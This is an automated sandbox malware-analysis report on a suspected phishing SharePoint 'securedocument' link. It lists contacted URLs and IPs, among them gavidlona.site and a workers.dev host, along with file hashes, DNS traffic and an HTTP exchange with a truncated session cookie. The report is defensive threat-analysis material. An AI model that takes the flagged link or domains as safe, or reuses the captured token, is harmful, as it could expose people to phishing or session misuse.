https://static2.sharepointonline.com/files/fabric/assets/fonts/segoeui-cyrillic/segoeui-bold.woff	chromecache_1902.1.dr	false		high
https://static2.sharepointonline.com/files/fabric/assets/fonts/segoeui-hebrew/segoeui-semibold.woff	chromecache_1902.1.dr	false		high
https://my.microsoftpersonalcontent.com	chromecache_2226.1.dr, chromecache_1982.1.dr, chromecache_2187.1.dr, chromecache_2218.1.dr, chromecache_1779.1.dr, chromecache_1674.1.dr	false		high
https://static2.sharepointonline.com/files/fabric/assets/fonts/segoeui-vietnamese/segoeui-semilight.	chromecache_1902.1.dr	false		high
https://static2.sharepointonline.com/files/fabric/assets/fonts/segoeui-hebrew/segoeui-semibold.woff2	chromecache_1902.1.dr	false		high
https://make.test.powerautomate.com	chromecache_1705.1.dr, chromecache_1885.1.dr	false		high
https://1drv.com/	chromecache_1982.1.dr, chromecache_2187.1.dr, chromecache_2218.1.dr	false		high
https://static2.sharepointonline.com/files/fabric/assets/fonts/segoeui-easteuropean/segoeui-bold.wof	chromecache_1902.1.dr	false		high
https://github.com/webpack-contrib/style-loader#insertat)	chromecache_2005.1.dr	false		high
https://static2.sharepointonline.com/files/fabric/assets/fonts/segoeui-cyrillic/segoeui-light.woff	chromecache_1902.1.dr	false		high
https://static2.sharepointonline.com/files/fabric/assets/fonts/segoeui-hebrew/segoeui-bold.woff	chromecache_1902.1.dr	false		high
https://substrate.office.com	chromecache_1982.1.dr, chromecache_2218.1.dr	false		high
https://static2.sharepointonline.com/files/fabric/assets/fonts/segoeui-westeuropean/segoeui-semibold	chromecache_1902.1.dr	false		high
https://static2.sharepointonline.com/files/fabric/assets/fonts/segoeui-cyrillic/segoeui-regular.woff	chromecache_1902.1.dr	false		high
https://lists.live.com/	chromecache_1765.1.dr	false		high
https://outlook.office365.com/SchedulingB2/api/v1.0/me/findmeetinglocations	chromecache_1613.1.dr	false		high
https://static2.sharepointonline.com/files/fabric/assets/fonts/segoeui-hebrew/segoeui-regular.woff2	chromecache_1902.1.dr	false		high
https://static2.sharepointonline.com/files/fabric/assets/fonts/segoeui-hebrew/segoeui-bold.woff2	chromecache_1902.1.dr	false		high
https://static2.sharepointonline.com/files/fabric/assets/fonts/segoeui-hebrew/segoeui-regular.woff	chromecache_1902.1.dr	false		high
https://onedrive.dev.cloud.microsoft	chromecache_2226.1.dr, chromecache_2218.1.dr, chromecache_2144.1.dr	false	Avira URL Cloud: safe	unknown
https://static2.sharepointonline.com/files/fabric/assets/fonts/segoeui-greek/segoeui-bold.woff2	chromecache_1902.1.dr	false		high
https://www.office.com/login?prompt=select_account&ru=%2Flaunch%2Fonedrive	chromecache_1921.1.dr	false		high
https://outlook.office365.com	chromecache_1613.1.dr	false		high
https://whiteboard.apps.mil	chromecache_1838.1.dr	false		high
https://static2.sharepointonline.com/files/fabric/assets/fonts/segoeui-easteuropean/segoeui-regular.	chromecache_1902.1.dr	false		high
https://static2.sharepointonline.com/files/fabric/assets/fonts/segoeui-easteuropean/segoeui-light.wo	chromecache_1902.1.dr	false		high
https://outlook.office.com/search	chromecache_1805.1.dr, chromecache_1705.1.dr, chromecache_2104.1.dr, chromecache_1552.1.dr, chromecache_2209.1.dr, chromecache_1761.1.dr, chromecache_1610.1.dr	false		high
https://www.office.com/login?ru=%2Flaunch%2F$	chromecache_1985.1.dr	false		high
https://shellppe.msocdn.com	chromecache_2226.1.dr, chromecache_1982.1.dr, chromecache_1603.1.dr	false		high
https://make.powerautomate.com	chromecache_1705.1.dr, chromecache_1885.1.dr, chromecache_1712.1.dr	false		high
https://static2.sharepointonline.com/files/fabric/assets/fonts/segoeui-arabic/segoeui-semibold.woff	chromecache_1902.1.dr	false		high
https://static2.sharepointonline.com/files/fabric/assets/fonts/segoeui-cyrillic/segoeui-semibold.wof	chromecache_1902.1.dr	false		high
https://static2.sharepointonline.com/files/fabric/assets/fonts/segoeui-arabic/segoeui-bold.woff2	chromecache_1902.1.dr	false		high
https://office.visualstudio.com/OC/_workitems/edit/2364251	chromecache_2093.1.dr, chromecache_1761.1.dr	false		high
https://static2.sharepointonline.com/files/fabric/assets/fonts/segoeui-easteuropean/segoeui-semiligh	chromecache_1902.1.dr	false		high
https://static2.sharepointonline.com/files/fabric/assets/fonts/segoeui-greek/segoeui-semilight.woff	chromecache_1902.1.dr	false		high
https://static2.sharepointonline.com/files/fabric/assets/fonts/segoeui-vietnamese/segoeui-regular.wo	chromecache_1902.1.dr	false		high
https://aka.ms/nucleusfx	chromecache_1796.1.dr	false		high
https://static2.sharepointonline.com/files/fabric/assets/fonts/leelawadeeui-thai/leelawadeeui-bold.w	chromecache_1902.1.dr	false		high
https://microsoft.spfx3rdparty.com	chromecache_2077.1.dr	false		high
https://reactjs.org/link/react-polyfills	chromecache_1766.1.dr	false		high
https://onedrive.cloud.microsoft	chromecache_2226.1.dr, chromecache_2218.1.dr, chromecache_2144.1.dr	false	Avira URL Cloud: safe	unknown
https://shellprod.msocdn.com	chromecache_2226.1.dr, chromecache_1982.1.dr, chromecache_1603.1.dr	false		high
https://static2.sharepointonline.com/files/fabric/assets/fonts/segoeui-arabic/segoeui-regular.woff2	chromecache_1902.1.dr	false		high
https://www.office.com/login?prompt=select_account&ru=%2Flaunch%2F$	chromecache_1985.1.dr	false		high
https://centralus1-mediad.svc.ms	chromecache_1982.1.dr, chromecache_2187.1.dr, chromecache_2218.1.dr, chromecache_1847.1.dr	false		high
https://static2.sharepointonline.com/files/fabric/assets/fonts/segoeui-cyrillic/segoeui-semilight.wo	chromecache_1902.1.dr	false		high
https://static2.sharepointonline.com/files/fabric/assets/fonts/segoeui-arabic/segoeui-regular.woff	chromecache_1902.1.dr	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
13.107.138.10	unknown	United States	8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
13.107.136.10	dual-spo-0005.spo-msedge.net	United States	8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
104.18.94.41	challenges.cloudflare.com	United States	13335	CLOUDFLARENETUS	false
52.108.42.38	pca1-word-eap.officeapps.live.com	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
40.99.26.178	doh-mvp.trafficmanager.net	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
23.50.53.232	unknown	United States	20940	AKAMAI-ASN1EU	false
23.33.44.246	unknown	United States	20940	AKAMAI-ASN1EU	false
23.55.243.83	a1894.dscb.akamai.net	United States	20940	AKAMAI-ASN1EU	false
23.53.126.164	unknown	United States	20940	AKAMAI-ASN1EU	false
52.98.34.194	828c4cf9a69e7b22a370909bd0cae8b0.fp.measure.office.com	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
104.21.57.209	4be0ad37.9fa87d9d8ff47dcb27e11487.workers.dev	United States	13335	CLOUDFLARENETUS	false
104.18.95.41	unknown	United States	13335	CLOUDFLARENETUS	false
13.107.6.163	b-0008.b-msedge.net	United States	8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
142.251.40.164	www.google.com	United States	15169	GOOGLEUS	false
141.11.210.112	gavidlona.site	United Kingdom	3215	FranceTelecom-OrangeFR	false
23.209.72.206	e40491.dscg.akamaiedge.net	United States	20940	AKAMAI-ASN1EU	false
23.44.201.139	unknown	United States	20940	AKAMAI-ASN1EU	false
23.55.243.72	unknown	United States	20940	AKAMAI-ASN1EU	false

Private

IP
192.168.2.16
192.168.2.10

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1647217
Start date and time:	2025-03-24 16:03:22 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 4m 57s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultwindowsinteractivecookbook.jbs
Sample URL:	https://postureshift-my.sharepoint.com/:f:/p/securedocument/EtRlfSUr3KtLjXgAbIYheZQBZ7nG7Jc2JIN2pqruKYsodA?e=SjlcA6
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 134, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	16
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal52.win@28/1305@52/20

Warnings

Exclude process from analysis (whitelisted): SIHClient.exe, SgrmBroker.exe, backgroundTaskHost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 142.250.72.110, 142.251.40.163, 172.253.115.84, 142.251.41.14, 142.251.40.238, 184.50.215.61, 142.251.35.170, 142.250.65.170, 142.251.40.234, 142.251.41.10, 172.217.165.138, 142.250.64.106, 142.250.80.106, 142.251.40.170, 142.250.80.10, 142.251.40.138, 142.250.176.202, 142.251.40.106, 142.251.40.202, 142.250.80.74, 142.250.72.106, 142.250.80.42, 13.89.179.8, 20.189.173.13, 199.232.210.172, 20.42.73.26, 20.189.173.11, 142.250.176.206, 142.250.80.46, 142.251.40.206, 13.107.42.16, 142.250.80.78, 142.250.80.110, 142.251.40.110, 142.251.32.99, 142.251.40.142, 142.250.176.195, 142.250.65.206, 142.251.32.110, 23.219.161.144, 23.40.179.32, 20.109.210.53, 23.44.136.138, 184.31.69.3, 13.107.9.156, 52.112.127.252, 52.112.107.177, 23.40.179.207, 20.190.152.19, 23.33.40.133, 23.204.152.229
Excluded domains from analysis (whitelisted): config.edge.skype.com.trafficmanager.net, slscr.update.microsoft.com, clientservices.googleapis.com, res-1.cdn.office.net, browser.events.data.trafficmanager.net, mobile.events.data.microsoft.com, c02-eus-01-pp1.prd.bmc.teams.microsoft.com, clients2.google.com, redirector.gvt1.com, onedscolprdwus10.westus.cloudapp.azure.com, login.live.com, config-edge-skype.l-0007.l-msedge.net, c00-eas-01-pp1.prd.bmc.teams.microsoft.com, shell.cdn.office.net, onedscolprdeus09.eastus.cloudapp.azure.com, update.googleapis.com, l-0007.l-msedge.net, c.pki.goog, config.edge.skype.com, www.bing.com, clients1.google.com, fs.microsoft.com, pp1.prd.bmc.teams.microsoft.com, accounts.google.com, content-autofill.googleapis.com, pp1.prd.bmc.trafficmanager.net, ctldl.windowsupdate.com, e19254.dscg.akamaiedge.net, shell.cdn.office.net-c.edgekey.net.globalredir.akadns.net, res-stls-prod.edgesuite.net, admin.microsoft.com, fe3cr.delivery.mp.microsoft.com, shell.cdn.office.net-c.edgekey.net, brow
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtCreateFile calls found.
Report size getting too big, too many NtOpenFile calls found.
Report size getting too big, too many NtSetInformationFile calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: https://postureshift-my.sharepoint.com/:f:/p/securedocument/EtRlfSUr3KtLjXgAbIYheZQBZ7nG7Jc2JIN2pqruKYsodA?e=SjlcA6

Simulations

Behavior and APIs

Time	Type	Description
11:05:11	API Interceptor	1x Sleep call for process: MpCmdRun.exe modified

Process:	C:\Program Files\Windows Defender\MpCmdRun.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	modified
Size (bytes):	7388
Entropy (8bit):	3.2436744898683214
Encrypted:	false
SSDEEP:	96:cEOB+AAsoJjykePE5+AAsoJjykXE3+AAsoJjyk9:cv+SoJW++SoJfM+SoJF
MD5:	06CF51234EE80A53499619B2B7419190
SHA1:	31C0F696686ACBE95C554A261B3FA735E52EC9AC
SHA-256:	1F70BEE6E5F93B757FE2659C99FBF617E3778ABB6BFFE63A4236EF596F2F9C5B
SHA-512:	FAF2E15710CB7BCD79225F475BF27445C94600240FA2C92EBF34538B3AD61E9893D16A6ECF3A77EA7D1642C492361C8B9138D2808E718019D39192D62FEC1312
Malicious:	false
Reputation:	low
Preview:	..........-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.....M.p.C.m.d.R.u.n.:. .C.o.m.m.a.n.d. .L.i.n.e.:. .".C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.W.i.n.d.o.w.s. .D.e.f.e.n.d.e.r.\.m.p.c.m.d.r.u.n...e.x.e.". .-.w.d.e.n.a.b.l.e..... .S.t.a.r.t. .T.i.m.e.:. .. F.r.i. .. O.c.t. .. 0.6. .. 2.0.2.3. .1.1.:.3.5.:.2.9.........M.p.E.n.s.u.r.e.P.r.o.c.e.s.s.M.i.t.i.g.a.t.i.o.n.P.o.l.i.c.y.:. .h.r. .=. .0.x.1.....W.D.E.n.a.b.l.e........................................ .W.S.C. .S.t.a.t.e. .I.n.f.o. ................................................................. .A.n.t.i.V.i.r.u.s.P.r.o.d.u.c.t. ..............................d.i.s.p.l.a.y.N.a.m.e. .=. .[.W.i.n.d.o.w.s. .D.e.f.e.n.d.e.r.].....p.a.t.h.T.o.S.i.g.n.e.d.P.r.o.d.u.c.t.E.x.e. .=. .[.w.i.n.d.o.w.s.d.

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (8249)
Category:	downloaded
Size (bytes):	9039
Entropy (8bit):	5.584619662520499
Encrypted:	false
SSDEEP:	192:gQCmLpqJ/mbdNtBigKPUWB/cbJkUPGhCs31PIBBJ3:gQ79qJsKT/cbJkPDNIjJ3
MD5:	74E87B62BA9EC123996760F445260FE7
SHA1:	01093091C4FC62DA596B1B58FDFAED7A940F2096
SHA-256:	AE793BF9FE0F91D889EC56477D8EA7A5CC84CFADBC1493852F17848D73F8BB05
SHA-512:	E2A156FD9476F61867799BA44E65560A6FEEEECE5ACFF825346F00ACB9766855181B541E092620EA6ED7B20140AD6DE1CC2F7AAF6EF03B04AA71FD12C8934966
Malicious:	false
Reputation:	low
URL:	https://res-1.cdn.office.net/files/odsp-web-prod_2025-03-07.002/@ms/stream-bundle/chunks/52443.js
Preview:	"use strict";(self.webpackChunk_ms_stream_bundle=self.webpackChunk_ms_stream_bundle\|\|[]).push([[52443],{252443:(e,t,n)=>{n.d(t,{m:()=>A});var a=n(539155),i=n(912397),r=n(105003),o=n(811547),s=n(89310),c=n(382592),d=n(392756),l=n(41709),u=n(516426),f=n(386979),p=n(676514),m=n(379578),_=n(772305),h=n(344537),b=n(510941),g=n(80354),v=n(823140),y=n(636036),S=n(926136),D=n(548642),I=n(596409),x=n(136851),C=n(433548),O=n(695799),w=n(288820);const E=(0,O.X)({root:{mc9l5x:"fjseox",B7ck84d:"f1ewtqcl",B2u0y6b:"f132xexn",Bceei9c:"f158kwzp",Bahqtrf:"fk6fouc",Be2twd7:"fy9rknc",Bg96gwp:"fwrc4pm",Btd35i7:"fokg9q4",Beyfa6y:0,Bbmb7ep:0,Btl43ni:0,B7oj6ja:0,Dimara:"ft85np5",Bgfg5da:0,B9xav0g:0,oivjwe:0,Bn0qgzm:0,B4g9neb:0,zhjwy3:0,wvpqe5:0,ibv6hh:0,u1mtju:0,h3c5rm:0,vrafjx:0,Bekrc4i:0,i8vvqc:0,g2u3we:0,icvyot:0,B4j52fo:0,irswps:"f9ggezi",Byoj8tv:0,uwmqm3:0,z189sj:0,z8tnut:0,B0ocmuz:"f1bzqsji",De3pzq:"fxugw4r",sj55zd:"f19n0e5",Bhu2qc9:"fxeb0a7"},visible:{mc9l5x:"ftgm304"},inverted:{De3pzq:"fg3r6xk",sj55zd

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Mar 24, 2025 16:03:55.210124016 CET	53	51983	1.1.1.1	192.168.2.16
Mar 24, 2025 16:03:55.213169098 CET	53	61728	1.1.1.1	192.168.2.16
Mar 24, 2025 16:03:55.735101938 CET	58470	53	192.168.2.16	1.1.1.1
Mar 24, 2025 16:03:55.735285044 CET	61304	53	192.168.2.16	1.1.1.1
Mar 24, 2025 16:03:55.779542923 CET	53	63110	1.1.1.1	192.168.2.16
Mar 24, 2025 16:03:55.892086029 CET	53	58470	1.1.1.1	192.168.2.16
Mar 24, 2025 16:03:56.056049109 CET	53	51631	1.1.1.1	192.168.2.16
Mar 24, 2025 16:03:58.623482943 CET	56528	53	192.168.2.16	1.1.1.1
Mar 24, 2025 16:03:58.623652935 CET	58780	53	192.168.2.16	1.1.1.1
Mar 24, 2025 16:03:58.735897064 CET	53	56528	1.1.1.1	192.168.2.16
Mar 24, 2025 16:03:58.781846046 CET	53	58780	1.1.1.1	192.168.2.16
Mar 24, 2025 16:03:59.829329014 CET	51360	53	192.168.2.16	1.1.1.1
Mar 24, 2025 16:03:59.829638004 CET	58859	53	192.168.2.16	1.1.1.1
Mar 24, 2025 16:03:59.931685925 CET	53	51360	1.1.1.1	192.168.2.16
Mar 24, 2025 16:03:59.932632923 CET	53	58859	1.1.1.1	192.168.2.16
Mar 24, 2025 16:04:00.005275011 CET	54719	53	192.168.2.16	1.1.1.1
Mar 24, 2025 16:04:00.005378008 CET	64127	53	192.168.2.16	1.1.1.1
Mar 24, 2025 16:04:00.114557981 CET	53	54719	1.1.1.1	192.168.2.16
Mar 24, 2025 16:04:00.114614964 CET	53	64127	1.1.1.1	192.168.2.16
Mar 24, 2025 16:04:02.942167997 CET	53	62313	1.1.1.1	192.168.2.16
Mar 24, 2025 16:04:05.200341940 CET	59565	53	192.168.2.16	1.1.1.1
Mar 24, 2025 16:04:05.200520992 CET	59082	53	192.168.2.16	1.1.1.1
Mar 24, 2025 16:04:05.308913946 CET	53	59565	1.1.1.1	192.168.2.16
Mar 24, 2025 16:04:05.309166908 CET	53	59082	1.1.1.1	192.168.2.16
Mar 24, 2025 16:04:05.947578907 CET	55910	53	192.168.2.16	1.1.1.1
Mar 24, 2025 16:04:05.947741985 CET	54021	53	192.168.2.16	1.1.1.1
Mar 24, 2025 16:04:06.052721977 CET	53	54021	1.1.1.1	192.168.2.16
Mar 24, 2025 16:04:06.052746058 CET	53	55910	1.1.1.1	192.168.2.16
Mar 24, 2025 16:04:09.968548059 CET	61590	53	192.168.2.16	1.1.1.1
Mar 24, 2025 16:04:09.968730927 CET	55520	53	192.168.2.16	1.1.1.1
Mar 24, 2025 16:04:10.074798107 CET	53	61590	1.1.1.1	192.168.2.16
Mar 24, 2025 16:04:10.075005054 CET	53	55520	1.1.1.1	192.168.2.16
Mar 24, 2025 16:04:12.974510908 CET	53	55618	1.1.1.1	192.168.2.16
Mar 24, 2025 16:04:18.536279917 CET	56396	53	192.168.2.16	1.1.1.1
Mar 24, 2025 16:04:18.536715031 CET	62940	53	192.168.2.16	1.1.1.1
Mar 24, 2025 16:04:18.654287100 CET	53	56396	1.1.1.1	192.168.2.16
Mar 24, 2025 16:04:18.657632113 CET	53	62940	1.1.1.1	192.168.2.16
Mar 24, 2025 16:04:19.216970921 CET	59932	53	192.168.2.16	1.1.1.1
Mar 24, 2025 16:04:19.217132092 CET	59402	53	192.168.2.16	1.1.1.1
Mar 24, 2025 16:04:19.322815895 CET	53	59932	1.1.1.1	192.168.2.16
Mar 24, 2025 16:04:19.323007107 CET	53	59402	1.1.1.1	192.168.2.16
Mar 24, 2025 16:04:20.000792027 CET	58672	53	192.168.2.16	1.1.1.1
Mar 24, 2025 16:04:20.002815008 CET	53707	53	192.168.2.16	1.1.1.1
Mar 24, 2025 16:04:20.128679037 CET	53	53707	1.1.1.1	192.168.2.16
Mar 24, 2025 16:04:20.131691933 CET	53	58672	1.1.1.1	192.168.2.16
Mar 24, 2025 16:04:20.351250887 CET	51869	53	192.168.2.16	1.1.1.1
Mar 24, 2025 16:04:20.351505995 CET	58093	53	192.168.2.16	1.1.1.1
Mar 24, 2025 16:04:20.456722975 CET	53	58093	1.1.1.1	192.168.2.16
Mar 24, 2025 16:04:20.457571030 CET	53	51869	1.1.1.1	192.168.2.16
Mar 24, 2025 16:04:21.547323942 CET	65413	53	192.168.2.16	1.1.1.1
Mar 24, 2025 16:04:21.547521114 CET	59279	53	192.168.2.16	1.1.1.1
Mar 24, 2025 16:04:21.566603899 CET	64039	53	192.168.2.16	1.1.1.1
Mar 24, 2025 16:04:21.567130089 CET	55440	53	192.168.2.16	1.1.1.1
Mar 24, 2025 16:04:21.656487942 CET	53	59279	1.1.1.1	192.168.2.16
Mar 24, 2025 16:04:21.657042027 CET	53	65413	1.1.1.1	192.168.2.16
Mar 24, 2025 16:04:21.677386999 CET	53	55440	1.1.1.1	192.168.2.16
Mar 24, 2025 16:04:21.754926920 CET	53	64039	1.1.1.1	192.168.2.16
Mar 24, 2025 16:04:21.925859928 CET	61060	53	192.168.2.16	1.1.1.1
Mar 24, 2025 16:04:21.926009893 CET	51724	53	192.168.2.16	1.1.1.1
Mar 24, 2025 16:04:22.044609070 CET	53	61060	1.1.1.1	192.168.2.16
Mar 24, 2025 16:04:22.045546055 CET	53	51724	1.1.1.1	192.168.2.16
Mar 24, 2025 16:04:22.981380939 CET	51000	53	192.168.2.16	1.1.1.1
Mar 24, 2025 16:04:22.981724977 CET	61465	53	192.168.2.16	1.1.1.1
Mar 24, 2025 16:04:23.091204882 CET	53	51000	1.1.1.1	192.168.2.16
Mar 24, 2025 16:04:23.116697073 CET	53	61465	1.1.1.1	192.168.2.16
Mar 24, 2025 16:04:23.713021994 CET	60945	53	192.168.2.16	1.1.1.1
Mar 24, 2025 16:04:23.713380098 CET	63085	53	192.168.2.16	1.1.1.1
Mar 24, 2025 16:04:23.820156097 CET	53	60945	1.1.1.1	192.168.2.16
Mar 24, 2025 16:04:23.863398075 CET	53	63085	1.1.1.1	192.168.2.16
Mar 24, 2025 16:04:25.981539011 CET	63180	53	192.168.2.16	1.1.1.1
Mar 24, 2025 16:04:25.984039068 CET	59061	53	192.168.2.16	1.1.1.1
Mar 24, 2025 16:04:26.090132952 CET	53	63180	1.1.1.1	192.168.2.16
Mar 24, 2025 16:04:26.094346046 CET	53	59061	1.1.1.1	192.168.2.16
Mar 24, 2025 16:04:26.603585958 CET	58105	53	192.168.2.16	1.1.1.1
Mar 24, 2025 16:04:26.603801966 CET	54979	53	192.168.2.16	1.1.1.1
Mar 24, 2025 16:04:26.710695982 CET	53	58105	1.1.1.1	192.168.2.16
Mar 24, 2025 16:04:26.711108923 CET	53	54979	1.1.1.1	192.168.2.16
Mar 24, 2025 16:04:30.752289057 CET	53036	53	192.168.2.16	1.1.1.1
Mar 24, 2025 16:04:30.752501011 CET	62755	53	192.168.2.16	1.1.1.1
Mar 24, 2025 16:04:30.894532919 CET	53	53036	1.1.1.1	192.168.2.16
Mar 24, 2025 16:04:30.902064085 CET	53	62755	1.1.1.1	192.168.2.16
Mar 24, 2025 16:04:31.932359934 CET	53	59638	1.1.1.1	192.168.2.16
Mar 24, 2025 16:04:54.233402967 CET	53	53857	1.1.1.1	192.168.2.16
Mar 24, 2025 16:04:55.109961033 CET	53	55130	1.1.1.1	192.168.2.16
Mar 24, 2025 16:04:58.320300102 CET	53	52147	1.1.1.1	192.168.2.16
Mar 24, 2025 16:05:00.012398958 CET	64909	53	192.168.2.16	1.1.1.1
Mar 24, 2025 16:05:00.012552023 CET	57235	53	192.168.2.16	1.1.1.1
Mar 24, 2025 16:05:00.013539076 CET	58994	53	192.168.2.16	1.1.1.1
Mar 24, 2025 16:05:00.013679028 CET	52948	53	192.168.2.16	1.1.1.1
Mar 24, 2025 16:05:00.014024019 CET	57941	53	192.168.2.16	1.1.1.1
Mar 24, 2025 16:05:00.014159918 CET	53890	53	192.168.2.16	1.1.1.1
Mar 24, 2025 16:05:00.117091894 CET	53	64909	1.1.1.1	192.168.2.16
Mar 24, 2025 16:05:00.117556095 CET	53	57235	1.1.1.1	192.168.2.16
Mar 24, 2025 16:05:00.120549917 CET	53	53890	1.1.1.1	192.168.2.16
Mar 24, 2025 16:05:00.151748896 CET	53	57941	1.1.1.1	192.168.2.16
Mar 24, 2025 16:05:00.166037083 CET	53	52948	1.1.1.1	192.168.2.16
Mar 24, 2025 16:05:00.208956957 CET	53	58994	1.1.1.1	192.168.2.16
Mar 24, 2025 16:05:00.429969072 CET	53319	53	192.168.2.16	1.1.1.1
Mar 24, 2025 16:05:00.430131912 CET	54611	53	192.168.2.16	1.1.1.1
Mar 24, 2025 16:05:00.537313938 CET	53	54611	1.1.1.1	192.168.2.16
Mar 24, 2025 16:05:00.539166927 CET	53	53319	1.1.1.1	192.168.2.16
Mar 24, 2025 16:05:09.687113047 CET	138	138	192.168.2.16	192.168.2.255
Mar 24, 2025 16:05:24.760011911 CET	53	50543	1.1.1.1	192.168.2.16
Mar 24, 2025 16:06:00.495933056 CET	49921	53	192.168.2.16	1.1.1.1
Mar 24, 2025 16:06:00.496104002 CET	58306	53	192.168.2.16	1.1.1.1
Mar 24, 2025 16:06:00.571024895 CET	65245	53	192.168.2.16	1.1.1.1
Mar 24, 2025 16:06:00.571249008 CET	49369	53	192.168.2.16	1.1.1.1
Mar 24, 2025 16:06:00.602109909 CET	65424	53	192.168.2.16	1.1.1.1
Mar 24, 2025 16:06:00.602276087 CET	56732	53	192.168.2.16	1.1.1.1
Mar 24, 2025 16:06:00.607244015 CET	53	49921	1.1.1.1	192.168.2.16
Mar 24, 2025 16:06:00.628993988 CET	53	58306	1.1.1.1	192.168.2.16
Mar 24, 2025 16:06:00.679099083 CET	53	49369	1.1.1.1	192.168.2.16
Mar 24, 2025 16:06:00.710825920 CET	53	56732	1.1.1.1	192.168.2.16
Mar 24, 2025 16:06:00.720089912 CET	53	65245	1.1.1.1	192.168.2.16
Mar 24, 2025 16:06:00.779849052 CET	53	65424	1.1.1.1	192.168.2.16

Timestamp	Source IP	Dest IP	Checksum	Code	Type
Mar 24, 2025 16:03:58.781917095 CET	192.168.2.16	1.1.1.1	c374	(Port unreachable)	Destination Unreachable
Mar 24, 2025 16:04:23.116789103 CET	192.168.2.16	1.1.1.1	c297	(Port unreachable)	Destination Unreachable
Mar 24, 2025 16:04:24.527374029 CET	192.168.2.16	1.1.1.1	c322	(Port unreachable)	Destination Unreachable

Timestamp	Bytes transferred	Direction	Data
2025-03-24 15:03:56 UTC	756	OUT	GET /:f:/p/securedocument/EtRlfSUr3KtLjXgAbIYheZQBZ7nG7Jc2JIN2pqruKYsodA?e=SjlcA6 HTTP/1.1 Host: postureshift-my.sharepoint.com Connection: keep-alive sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-24 15:03:56 UTC	3821	IN	HTTP/1.1 302 Found Cache-Control: private Content-Length: 309 Content-Type: text/html; charset=utf-8 Location: https://postureshift-my.sharepoint.com/personal/securedocument_postureshift_com/_layouts/15/onedrive.aspx?id=%2Fpersonal%2Fsecuredocument%5Fpostureshift%5Fcom%2FDocuments%2FSharePoint&ga=1 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" Set-Cookie: FedAuth=77u/PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0idXRmLTgiPz48U1A+VjEzLDBoLmZ8bWVtYmVyc2hpcHx1cm4lM2FzcG8lM2Fhbm9uI2FiOTE5YTY2MWI0YTVjNmU2ZWRiMjJiNWM1YWUwMTE4ZmY5ZWE5Y2ZkZDYzMTUwM2UwMzEwNmY4NWQ3ZThkYjYsMCMuZnxtZW1iZXJzaGlwfHVybiUzYXNwbyUzYWFub24jYWI5MTlhNjYxYjRhNWM2ZTZlZGIyMmI1YzVhZTAxMThmZjllYTljZmRkNjMxNTAzZTAzMTA2Zjg1ZDdlOGRiNiwxMzM4NzMwMjUzNjAwMDAwMDAsMCwxMzM4NzM4ODYzNjY2MTM5MjUsMC4wLjAuMCwyNTgsODFlNTAzMTItNzRjZi00YWM1LWIyMDUtMjExZTdjYmU1YWRkLCwsY2VhZWU5MTUtMzM0Mi00MDBkLTg5ZmItZDhlNjFmNDNiY2IwLGNlYWVlOTE1LTMzNDItNDAwZC04OWZiLWQ4ZTYxZjQzYmNiMCxwOWo3eWN2V0oweU9WU2hHbzdNMXlRLDAsMCwwLCwsLDI2NTA0Njc3NDM5OTk5OTk5OTksMCwsLCwsLCwwLCwxOTE3NTksTkxITm9QekJlYzNqTGxRc1NZb0w1UTFFZ2ZFLGx0K2NnOWN5NU9WNXd4K1YvaDlUSDRLaVlDYmpSQTh4bXZpdDZnRmh2L04rNVhCZDJWTUFTTHJoMTY1cXpBYUt3UXdMN21qdU9vaTQyaHFFTjg2UlZNVzZDQ05zTTJNNisxdFdPZ3FCdmRzSEZxVStGdDN4UkNXaTBzWXR6VVR4ZVRmTVV4WlA4WmFaS3d4OVlOUGxzbURUSFNXeXkva0d1cGtOcjU5M1R0RDRnSndSd1RSVzdIYnZEVjhxdVRRbFo4OG1FOWVveThoOStTNHBKWjhrQklXdTVJT016amhhb1VxNW9SRzh3ZFZBWER4akwrUTVG [TRUNCATED] X-NetworkStatistics: 